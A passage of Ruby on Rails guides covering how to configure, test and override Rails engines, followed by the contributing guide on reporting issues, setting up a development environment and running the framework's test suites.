  <%= article.author.name %>
</p>
```

#### [4.3.2. Using a Controller Provided by the Application](#using-a-controller-provided-by-the-application)

Because Rails controllers generally share code for things like authentication and accessing session variables, they inherit from `ApplicationController` by default. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers need to access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like:

```
module Blorgh
  class ApplicationController < ::ApplicationController
  end
end
```

By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main application's `ApplicationController`, as though they were part of the main application.

This change does require that the engine is run from a Rails application that has an `ApplicationController`.

### [4.4. Configuring an Engine](#configuring-an-engine)

This section covers how to make the `User` class configurable, followed by general configuration tips for the engine.

#### [4.4.1. Setting Configuration Settings in the Application](#setting-configuration-settings-in-the-application)

The next step is to make the class that represents a `User` in the application customizable for the engine. This is because that class may not always be `User`, as previously explained. To make this setting customizable, the engine will have a configuration setting called `author_class` that will be used to specify which class represents users inside the application.

To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the engine:

```
mattr_accessor :author_class
```

This method works like its siblings, `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.author_class`.

The next step is to switch the `Blorgh::Article` model over to this new setting. Change the `belongs_to` association inside this model (`app/models/blorgh/article.rb`) to this:

```
belongs_to :author, class_name: Blorgh.author_class
```

The `set_author` method in the `Blorgh::Article` model should also use this class:

```
self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
```

To save having to call `constantize` on the `author_class` result all the time, you could instead just override the `author_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result:

```
def self.author_class
  @@author_class.constantize
end
```

This would then turn the above code for `set_author` into this:

```
self.author = Blorgh.author_class.find_or_create_by(name: author_name)
```

Resulting in something a little shorter, and more implicit in its behavior. The `author_class` method should always return a `Class` object.

Since we changed the `author_class` method to return a `Class` instead of a `String`, we must also modify our `belongs_to` definition in the `Blorgh::Article` model:

```
belongs_to :author, class_name: Blorgh.author_class.to_s
```

To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models, which may depend on this configuration setting existing.

Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it:

```
Blorgh.author_class = "User"
```

It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table. This could lead to problems if the table didn't already exist. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on.

Go ahead and try to create a new article. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is.

There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class, to be associated with an article when it's created. This object, of course, should have some sort of identifier by which it can be referenced.

#### [4.4.2. General Engine Configuration](#general-engine-configuration)

Within an engine, there may come a time where you wish to use things such as initializers, internationalization, or other configuration options. The great news is that these things are entirely possible, because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!

If you wish to use an initializer - code that should run before the engine is loaded - the place for it is the `config/initializers` folder. This directory's functionality is explained in the [Initializers section](configuring.html#initializers) of the Configuring guide, and works precisely the same way as the `config/initializers` directory inside an application. The same thing goes if you want to use a standard initializer.

For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.

## [5. Testing an Engine](#testing-an-engine)

When an engine is generated, there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine, to make testing the engine extremely simple. You may extend this application by generating controllers, models, or views from within the directory, and then use those to test your engine.

The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional, and integration tests.

### [5.1. Functional Tests](#functional-tests)

A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application - the `test/dummy` application - rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this:

```
module Blorgh
  class FooControllerTest < ActionDispatch::IntegrationTest
    include Engine.routes.url_helpers

    def test_index
      get foos_url
      # ...
    end
  end
end
```

It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must set the `@routes` instance variable to the engine's route set in your setup code:

```
module Blorgh
  class FooControllerTest < ActionDispatch::IntegrationTest
    include Engine.routes.url_helpers

    setup do
      @routes = Engine.routes
    end

    def test_index
      get foos_url
      # ...
    end
  end
end
```

This tells the application that you still want to perform a `GET` request to the `index` action of this controller, but you want to use the engine's route to get there, rather than the application's one.

This also ensures that the engine's URL helpers will work as expected in your tests.

## [6. Improving Engine Functionality](#improving-engine-functionality)

This section explains how to add and/or override engine MVC functionality in the main Rails application.

### [6.1. Overriding Models and Controllers](#overriding-models-and-controllers)

Engine models and controllers can be reopened by the parent application to extend or decorate them.

Overrides may be organized in a dedicated directory `app/overrides`, ignored by the autoloader, and preloaded in a `to_prepare` callback:

```
# config/application.rb
module MyApp
  class Application < Rails::Application
    # ...

    overrides = "#{Rails.root}/app/overrides"
    Rails.autoloaders.main.ignore(overrides)

    config.to_prepare do
      Dir.glob("#{overrides}/**/*_override.rb").sort.each do |override|
        load override
      end
    end
  end
end
```

#### [6.1.1. Reopening Existing Classes Using `class_eval`](#reopening-existing-classes-using-class-eval)

For example, in order to override the engine model

```
# Blorgh/app/models/blorgh/article.rb
module Blorgh
  class Article < ApplicationRecord
    # ...
  end
end
```

you just create a file that *reopens* that class:

```
# MyApp/app/overrides/models/blorgh/article_override.rb
Blorgh::Article.class_eval do
  # ...
end
```

It is very important that the override *reopens* the class or module. Using the `class` or `module` keywords would define them if they were not already in memory, which would be incorrect because the definition lives in the engine. Using `class_eval` as shown above ensures you are reopening.

#### [6.1.2. Reopening Existing Classes Using ActiveSupport::Concern](#reopening-existing-classes-using-activesupport-concern)

Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.

**Adding** `Article#time_since_created` and **Overriding** `Article#summary`:

```
# MyApp/app/models/blorgh/article.rb

class Blorgh::Article < ApplicationRecord
  include Blorgh::Concerns::Models::Article

  def time_since_created
    Time.current - created_at
  end

  def summary
    "#{title} - #{truncate(text)}"
  end
end
```

```
# Blorgh/app/models/blorgh/article.rb
module Blorgh
  class Article < ApplicationRecord
    include Blorgh::Concerns::Models::Article
  end
end
```

```
# Blorgh/lib/concerns/models/article.rb

module Blorgh::Concerns::Models::Article
  extend ActiveSupport::Concern

  # `included do` causes the block to be evaluated in the context
  # in which the module is included (i.e. Blorgh::Article),
  # rather than in the module itself.
  included do
    attr_accessor :author_name
    belongs_to :author, class_name: "User"

    before_validation :set_author

    private
      def set_author
        self.author = User.find_or_create_by(name: author_name)
      end
  end

  def summary
    "#{title}"
  end

  module ClassMethods
    def some_class_method
      "some class method string"
    end
  end
end
```

### [6.2. Autoloading and Engines](#autoloading-and-engines)

Please check the [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html#autoloading-and-engines) guide for more information about autoloading and engines.

### [6.3. Overriding Views](#overriding-views)

When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, it will check in the `app/views` directories of all engines that have this directory.

When the application is asked to render the view for `Blorgh::ArticlesController`'s index action, it will first look for the path `app/views/blorgh/articles/index.html.erb` within the application. If it cannot find it, it will look inside the engine.

You can override this view in the application by simply creating a new file at `app/views/blorgh/articles/index.html.erb`. Then you can completely change what this view would normally output.

Try this now by creating a new file at `app/views/blorgh/articles/index.html.erb` and put this content in it:

```
<h1>Articles</h1>
<%= link_to "New Article", new_article_path %>
<% @articles.each do |article| %>
  <h2><%= article.title %></h2>
  <small>By <%= article.author %></small>
  <%= simple_format(article.text) %>
  <hr>
<% end %>
```

### [6.4. Routes](#routes)

Routes inside an engine are isolated from the application by default. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash.

Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this:

```
Blorgh::Engine.routes.draw do
  resources :articles
end
```

By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `articles_path` may end up going to undesired locations if both the application and the engine have such a helper defined.

For instance, the following example would go to the application's `articles_path` if that template was rendered from the application, or the engine's `articles_path` if it was rendered from the engine:

```
<%= link_to "Blog articles", articles_path %>
```

To make this route always use the engine's `articles_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.

```
<%= link_to "Blog articles", blorgh.articles_path %>
```

If you wish to reference the application inside the engine in a similar way, use the `main_app` helper:

```
<%= link_to "Home", main_app.root_path %>
```

If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.

If a template rendered from within an engine attempts to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine.

### [6.5. Assets](#assets)

Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up assets in the engine's `app/assets` and `lib/assets` directories.

Like all of the other components of an engine, the assets should be namespaced. This means that if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be ignored.

Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css`. To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine:

```
<%= stylesheet_link_tag "blorgh/style.css" %>
```

You can also specify these assets as dependencies of other assets using Asset Pipeline require statements in processed files:

```
/*
 *= require blorgh/style
 */
```

Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`.

### [6.6. Separate Assets and Precompiling](#separate-assets-and-precompiling)

There are some situations where your engine's assets are not required by the host application. For example, say that you've created an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css` or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorgh/admin.css"` in its stylesheets. In this situation, you should explicitly define these assets for precompilation. This tells Sprockets to add your engine assets when `bin/rails assets:precompile` is triggered.

You can define assets for precompilation in `engine.rb`:

```
initializer "blorgh.assets.precompile" do |app|
  app.config.assets.precompile += %w( admin.js admin.css )
end
```

For more information, read the [Asset Pipeline guide](asset_pipeline.html).

### [6.7. Other Gem Dependencies](#other-gem-dependencies)

Gem dependencies inside an engine should be specified inside the `.gemspec` file at the root of the engine. The reason is that the engine may be installed as a gem. If dependencies were to be specified inside the `Gemfile`, these would not be recognized by a traditional gem install and so they would not be installed, causing the engine to malfunction.

To specify a dependency that should be installed with the engine during a traditional `gem install`, specify it inside the `Gem::Specification` block inside the `.gemspec` file in the engine:

```
s.add_dependency "moo"
```

To specify a dependency that should only be installed as a development dependency of the application, specify it like this:

```
s.add_development_dependency "moo"
```

Both kinds of dependencies will be installed when `bundle install` is run inside of the application. The development dependencies for the gem will only be used when the development and tests for the engine are running.

Note that if you want to immediately require dependencies when the engine is required, you should require them before the engine's initialization. For example:

```
require "other_engine/engine"
require "yet_another_engine/engine"

module MyEngine
  class Engine < ::Rails::Engine
  end
end
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/contributing_to_ruby_on_rails.html
----

***

## [1. Reporting an Issue](#reporting-an-issue)

Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account to submit an issue, comment on issues, or create pull requests.

Bugs in the most recent released version of Ruby on Rails will likely get the most attention. Additionally, the Rails core team is always interested in feedback from those who can take the time to test *edge Rails* (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing. See our [maintenance policy](maintenance_policy.html) for information on which versions are supported. Never report a security issue on the GitHub issues tracker.

### [1.1. Creating a Bug Report](#creating-a-bug-report)

If you've found a problem in Ruby on Rails that is not a security risk, search the [Issues](https://github.com/rails/rails/issues) on GitHub, in case it has already been reported. If you cannot find any open GitHub issues addressing the problem you found, your next step will be to [open a new issue](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)

We've provided an issue template for you so that when creating an issue you include all the information needed to determine whether there is a bug in the framework. Each issue needs to include a title and clear description of the problem. Make sure to include as much relevant information as possible, including a code sample or failing test that demonstrates the expected behavior, as well as your system configuration. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix.

Once you open an issue, it may or may not see activity right away unless it is a "Code Red, Mission Critical, the World is Coming to an End" kind of bug. That doesn't mean we don't care about your bug, just that there are a lot of issues and pull requests to get through. Other people with the same problem can find your issue, and confirm the bug, and may collaborate with you on fixing it. If you know how to fix the bug, go ahead and open a pull request.

### [1.2. Create an Executable Test Case](#create-an-executable-test-case)

Having a way to reproduce your issue will help people confirm, investigate, and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:

* [Template for Active Record (models, encryption, database) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_record.rb)
* [Template for testing Active Record (migration) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_record_migrations.rb)
* [Template for Action Pack (controllers, routing) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_controller.rb)
* [Template for Action View (views, helpers) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_view.rb)
* [Template for Active Job issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_job.rb)
* [Template for Active Storage issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_storage.rb)
* [Template for Action Mailer issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_mailer.rb)
* [Template for Action Mailbox issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_mailbox.rb)
* [Generic template for other issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/generic.rb)

These templates include the boilerplate code to set up a test case. Copy the content of the appropriate template into a `.rb` file and make the necessary changes to demonstrate the issue. You can execute it by running `ruby the_file.rb` in your terminal. If all goes well, you should see your test case failing.

You can then share your executable test case as a [gist](https://gist.github.com) or paste the content into the issue description.

### [1.3. Special Treatment for Security Issues](#special-treatment-for-security-issues)

Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](https://rubyonrails.org/security) details the procedure to follow for security issues.

### [1.4. What about Feature Requests?](#what-about-feature-requests-questionmark)

Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide, you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.

Sometimes, the line between 'bug' and 'feature' is a hard one to draw. Generally, a feature is anything that adds new behavior, while a bug is anything that causes incorrect behavior. Sometimes, the Core team will have to make a judgment call. That said, the distinction generally determines which patch your change is released with; we love feature submissions! They just won't get backported to maintenance branches.

If you'd like feedback on an idea for a feature before doing the work to make a patch, please start a discussion on the [rails-core discussion board](https://discuss.rubyonrails.org/c/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted". But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.

## [2. Helping to Resolve Existing Issues](#helping-to-resolve-existing-issues)

Beyond reporting issues, you can help the core team resolve existing ones by providing feedback about them. If you are new to Rails core development, providing feedback will help you get familiar with the codebase and the processes.

If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do about these? Quite a bit, actually:

### [2.1. Verifying Bug Reports](#verifying-bug-reports)

For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your computer? If so, you can add a comment to the issue saying that you're seeing the same thing.

If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to reproduce the bug, or maybe you can eliminate unnecessary steps that aren't required to demonstrate the problem.

If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to explore the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the [Contributing to the Rails Code](#contributing-to-the-rails-code) section.

Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.

### [2.2. Testing Patches](#testing-patches)

You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. In order to apply someone's changes, first create a dedicated branch:

```
$ git checkout -b testing_branch
```

Then, you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at <https://github.com/JohnSmith/rails>.

```
$ git remote add JohnSmith https://github.com/JohnSmith/rails.git
$ git pull JohnSmith orange
```

An alternative to adding their remote to your checkout is to use the [GitHub CLI tool](https://cli.github.com/) to checkout their pull request.

After applying their branch, test it out! Here are some things to think about:

* Does the change actually work?
* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
* Does it have the proper documentation coverage? Should documentation elsewhere be updated?
* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?

Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your findings. Your comment should indicate that you like the change and what you like about it. Something like:

> I like the way you've restructured that code in generate\_finder\_sql - much nicer. The tests look good too.

If your comment simply reads "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.

## [3. Contributing to the Rails Documentation](#contributing-to-the-rails-documentation)

Ruby on Rails has two main sets of documentation: the guides, which help you learn about Ruby on Rails, and the API, which serves as a reference.

You can help improve the Rails guides or the API reference by making them more coherent, consistent, or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails.

To do so, make changes to Rails guides source files (located [here](https://github.com/rails/rails/tree/main/guides/source) on GitHub) or RDoc comments in source code. Then open a pull request to apply your changes to the main branch.

Use `[ci skip]` in your pull request title to avoid running the CI build for documentation changes.

Once you open a PR, a preview of the documentation will be deployed for easy review and collaboration. At the bottom of the Pull Request page, you should see a list of status checks, look for the `buildkite/docs-preview` and click "details".

This will bring you to the Buildkite build page. If the job was successful, there will be an annotation with links to the generated API and Guides above the job list.

When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).

## [4. Translating Rails Guides](#translating-rails-guides)

We are happy to have people volunteer to translate the Rails guides. Just follow these steps:

* Fork <https://github.com/rails/rails>.
* Add a source folder for your language, for example: *guides/source/it-IT* for Italian.
* Copy the contents of *guides/source* into your language directory and translate them.
* Do NOT translate the HTML files, as they are automatically generated.

Note that translations are not submitted to the Rails repository; your work lives in your fork, as described above. This is because, in practice, documentation maintenance via patches is only sustainable in English.

To generate the guides in HTML format, you will need to install the guides dependencies, `cd` into the *guides* directory, and then run (e.g., for it-IT):

```
$ BUNDLE_ONLY=default:doc bundle install
$ cd guides/
$ BUNDLE_ONLY=default:doc bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT
```

This will generate the guides in an *output* directory.

The Redcarpet Gem doesn't work with JRuby.

## [5. Contributing to the Rails Code](#contributing-to-the-rails-code)

### [5.1. Setting Up a Development Environment](#setting-up-a-development-environment)

To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you *must* be able to run its test suite. In this section of the guide, you'll learn how to set up the tests on your computer.

#### [5.1.1. Using GitHub Codespaces](#using-github-codespaces)

If you're a member of an organization that has codespaces enabled, you can fork Rails into that organization and use codespaces on GitHub. The Codespace will be initialized with all required dependencies and allows you to run all tests.

#### [5.1.2. Using VS Code Remote Containers](#using-vs-code-remote-containers)

If you have [Visual Studio Code](https://code.visualstudio.com) and [Docker](https://www.docker.com) installed, you can use the [VS Code remote containers plugin](https://code.visualstudio.com/docs/remote/containers-tutorial). The plugin will read the [`.devcontainer`](https://github.com/rails/rails/tree/main/.devcontainer) configuration in the repository and build the Docker container locally.

#### [5.1.3. Using Dev Container CLI](#using-dev-container-cli)

With [npm](https://github.com/npm/cli) and [Docker](https://www.docker.com) installed, you can run [Dev Container CLI](https://github.com/devcontainers/cli) to utilize the [`.devcontainer`](https://github.com/rails/rails/tree/main/.devcontainer) configuration from the command line.

```
$ npm install -g @devcontainers/cli
$ cd rails
$ devcontainer up --workspace-folder .
$ devcontainer exec --workspace-folder . bash
```

#### [5.1.4. Using Dev Container with Podman](#using-dev-container-with-podman)

You can use the [`.devcontainer`](https://github.com/rails/rails/tree/main/.devcontainer) configuration with [Podman](https://podman.io/). This method does not require any other tools besides Podman.

```
$ podman machine init
$ podman machine start
$ tools/devcontainer up
```

Then in a separate terminal:

```
$ tools/devcontainer run-user-commands
$ tools/devcontainer sh
```

#### [5.1.5. Using rails-dev-box](#using-rails-dev-box)

It's also possible to use the [rails-dev-box](https://github.com/rails/rails-dev-box) to get a development environment ready. However, the rails-dev-box uses Vagrant and Virtual Box which will not work on Macs with Apple silicon.

#### [5.1.6. Local Development](#local-development)

When you can't use GitHub Codespaces, see [this other guide](development_dependencies_install.html) for how to set up local development. This is considered the hard way because installing dependencies may be OS specific.

### [5.2. Clone the Rails Repository](#clone-the-rails-repository)

To be able to contribute code, you need to clone the Rails repository:

```
$ git clone https://github.com/rails/rails.git
```

and create a dedicated branch:

```
$ cd rails
$ git checkout -b my_new_branch
```

It doesn't matter much what name you use because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.

### [5.3. Bundle install](#bundle-install)

Install the required gems.

```
$ bundle install
```

### [5.4. Running an Application Against Your Local Branch](#running-an-application-against-your-local-branch)

In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch:

```
$ cd rails
$ bundle exec rails new ~/my-test-app --dev
```

The application generated in `~/my-test-app` runs against your local branch and, in particular, sees any modifications upon server reboot.

For JavaScript packages, you can use [`yarn link`](https://yarnpkg.com/cli/link) to source your local branch in a generated application:

```
$ cd rails/activestorage
$ yarn link
$ cd ~/my-test-app
$ yarn link "@rails/activestorage"
```

### [5.5. Write Your Code](#write-your-code)

Now it's time to write some code! When making changes for Rails, here are some things to keep in mind:

* Follow Rails style and conventions.
* Use Rails idioms and helpers.
* Include tests that fail without your code, and pass with it.
* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
* If the change adds, removes, or changes a feature, be sure to include a CHANGELOG entry. If your change is a bug fix, a CHANGELOG entry is not necessary.

Changes that are cosmetic and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationale behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)).

#### [5.5.1. Follow the Coding Conventions](#follow-the-coding-conventions)

Rails follows a simple set of coding style conventions:

* Two spaces, no tabs (for indentation).
* No trailing whitespace. Blank lines should not have any spaces.
* Indent and no blank line after private/protected.
* Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`.
* Prefer `&&`/`||` over `and`/`or`.
* Prefer `class << self` over `self.method` for class methods.
* Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
* Use `a = b` and not `a=b`.
* Use `assert_not` methods instead of `refute`.
* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
* Follow the conventions in the source you see used already.

The above are guidelines - please use your best judgment in using them.

Additionally, we have [RuboCop](https://www.rubocop.org/) rules defined to codify some of our coding conventions. You can run RuboCop locally against the file that you have modified before submitting a pull request:

```
$ bundle exec rubocop actionpack/lib/action_controller/metal/strong_parameters.rb
Inspecting 1 file
.

1 file inspected, no offenses detected
```

### [5.6. Benchmark Your Code](#benchmark-your-code)

For changes that might have an impact on performance, please benchmark your code and measure the impact. Please share the benchmark script you used as well as the results. You should consider including this information in your commit message to allow future contributors to easily verify your findings and determine if they are still relevant. (For example, future optimizations in the Ruby VM might render certain optimizations unnecessary.)

When optimizing for a specific scenario that you care about, it is easy to regress performance for other common cases. Therefore, you should test your change against a list of representative scenarios, ideally extracted from real-world production applications.

You can use the [benchmark template](https://github.com/rails/rails/blob/main/guides/bug_report_templates/benchmark.rb) as a starting point. It includes the boilerplate code to set up a benchmark using the [benchmark-ips](https://github.com/evanphx/benchmark-ips) gem. The template is designed for testing relatively self-contained changes that can be inlined into the script.

### [5.7. Running Tests](#running-tests)

It is not customary in Rails to run the full test suite before pushing changes. The railties test suite, in particular, takes a long time, and will take an especially long time if the source code is mounted in `/vagrant` as happens in the recommended workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).

As a compromise, test what your code obviously affects, and if the change is not in railties, run the whole test suite of the affected component. If all tests are passing, that's enough to propose your contribution. We have [Buildkite](https://buildkite.com/rails/rails) as a safety net for catching unexpected breakages elsewhere.

#### [5.7.1. Entire Rails:](#entire-rails)

To run all the tests, do:

```
$ cd rails
$ bundle exec rake test
```

#### [5.7.2. For a Particular Component](#for-a-particular-component)

You can run tests only for a particular component (e.g., Action Pack). For example, to run Action Mailer tests:

```
$ cd actionmailer
$ bin/test
```

#### [5.7.3. Running Component Tests from the Repository Root](#running-component-tests-from-the-repository-root)

You can also run component test suites from the repository root using rake tasks:

```
$ bundle exec rake actionpack:test
$ bundle exec rake actionpack:isolated

# Active Record adapters (from the repo root)
$ bundle exec rake activerecord:sqlite3:test
$ bundle exec rake activerecord:sqlite3:isolated
$ bundle exec rake activerecord:mysql2:test
$ bundle exec rake activerecord:trilogy:test
$ bundle exec rake activerecord:postgresql:test

# Active Record integration tests (Active Job integration across adapters)
$ bundle exec rake activerecord:integration

# Active Job adapters
$ bundle exec rake activejob:sidekiq:test
$ bundle exec rake activejob:sidekiq:isolated
$ bundle exec rake activejob:sidekiq:integration

# All Active Job integration tests
$ bundle exec rake activejob:integration
```

Notes:

* Not all frameworks define an isolated test task. For example, `activestorage:isolated` is not supported and will exit with an error.

#### [5.7.4. For a Specific Directory](#for-a-specific-directory)

You can run tests only for a specific directory of a particular component (e.g., models in Active Storage). For example, to run tests in `/activestorage/test/models`:

```
$ cd activestorage
$ bin/test models
```

#### [5.7.5. For a Specific File](#for-a-specific-file)

You can run the tests for a particular file:

```
$ cd actionview
$ bin/test test/template/form_helper_test.rb
```

#### [5.7.6. Running a Single Test](#running-a-single-test)

You can run a single test by name using the `-n` option:

```
$ cd actionmailer
$ bin/test test/mail_layout_test.rb -n test_explicit_class_layout
```

#### [5.7.7. For a Specific Line](#for-a-specific-line)

Figuring out the name is not always easy, but if you know the line number your test starts at, this option is for you:

```
$ cd railties
$ bin/test test/application/asset_debugging_test.rb:69
```

#### [5.7.8. For a Specific Line Range](#for-a-specific-line-range)

Similar tests are often defined in nearby locations. You can run tests in a specific line range.

```
$ cd railties
$ bin/test test/application/asset_debugging_test.rb:69-100
```

#### [5.7.9. Running Tests with a Specific Seed](#running-tests-with-a-specific-seed)

Test execution is randomized with a randomization seed. If you are experiencing random test failures, you can more accurately reproduce a failing test scenario by specifically setting the randomization seed.

Running all tests for a component:

```
$ cd actionmailer
$ SEED=15002 bin/test
```

Running a single test file:

```
$ cd actionmailer
$ SEED=15002 bin/test test/mail_layout_test.rb
```

#### [5.7.10. Running Tests in Serial](#running-tests-in-serial)

Action Pack and Action View unit tests run in parallel by default. If you are experiencing random test failures, you can set the randomization seed and let these unit tests run in serial by setting `PARALLEL_WORKERS=1`

```
$ cd actionview
$ PARALLEL_WORKERS=1 SEED=53708 bin/test test/template/test_case_test.rb
```

#### [5.7.11. Testing Active Record](#testing-active-record)

First, create the databases you'll need. You can find a list of the required table names, usernames, and passwords in `activerecord/test/config.example.yml`.

For MySQL and PostgreSQL, it is sufficient to run:

```
$ cd activerecord
$ bundle exec rake db:mysql:build
```

Or:

```
$ cd activerecord
$ bundle exec rake db:postgresql:build
```

This is not necessary for SQLite3.

From the repository root, equivalent database management tasks are available under the `activerecord:db` namespace:

```
# Create both MySQL and PostgreSQL test databases
$ bundle exec rake activerecord:db:create

# Drop both MySQL and PostgreSQL test databases
$ bundle exec rake activerecord:db:drop

# Rebuild both MySQL and PostgreSQL test databases
$ bundle exec rake activerecord:db:rebuild

# Manage MySQL databases only
$ bundle exec rake activerecord:db:mysql:build
$ bundle exec rake activerecord:db:mysql:drop
$ bundle exec rake activerecord:db:mysql:rebuild

# Manage PostgreSQL databases only
$ bundle exec rake activerecord:db:postgresql:build
$ bundle exec rake activerecord:db:postgresql:drop
$ bundle exec rake activerecord:db:postgresql:rebuild
```

This is how you run the Active Record test suite only for SQLite3:

```
$ cd activerecord
$ bundle exec rake test:sqlite3
```

From the repository root, the equivalent commands are available:

```
$ bundle exec rake activerecord:sqlite3:test
```

You can now run the tests as you did for `sqlite3`. The tasks are respectively:

```
$ bundle exec rake test:mysql2
$ bundle exec rake test:trilogy
$ bundle exec rake test:postgresql
```

Or:

```
$ bundle exec rake activerecord:mysql2:test
$ bundle exec rake activerecord:trilogy:test
$ bundle exec rake activerecord:postgresql:test
```

Finally,

```
$ bundle exec rake test
```

will now run the three of them in turn.

You can run adapter-specific isolated tests, or all Active Job integration tests for Active Record, with:

```
# From inside activerecord
$ bundle exec rake test:isolated:sqlite3
$ bundle exec rake test:integration:active_job

# Or repository root
$ bundle exec rake activerecord:sqlite3:isolated
$ bundle exec rake activerecord:integration   # runs Active Job integration across all adapters
```

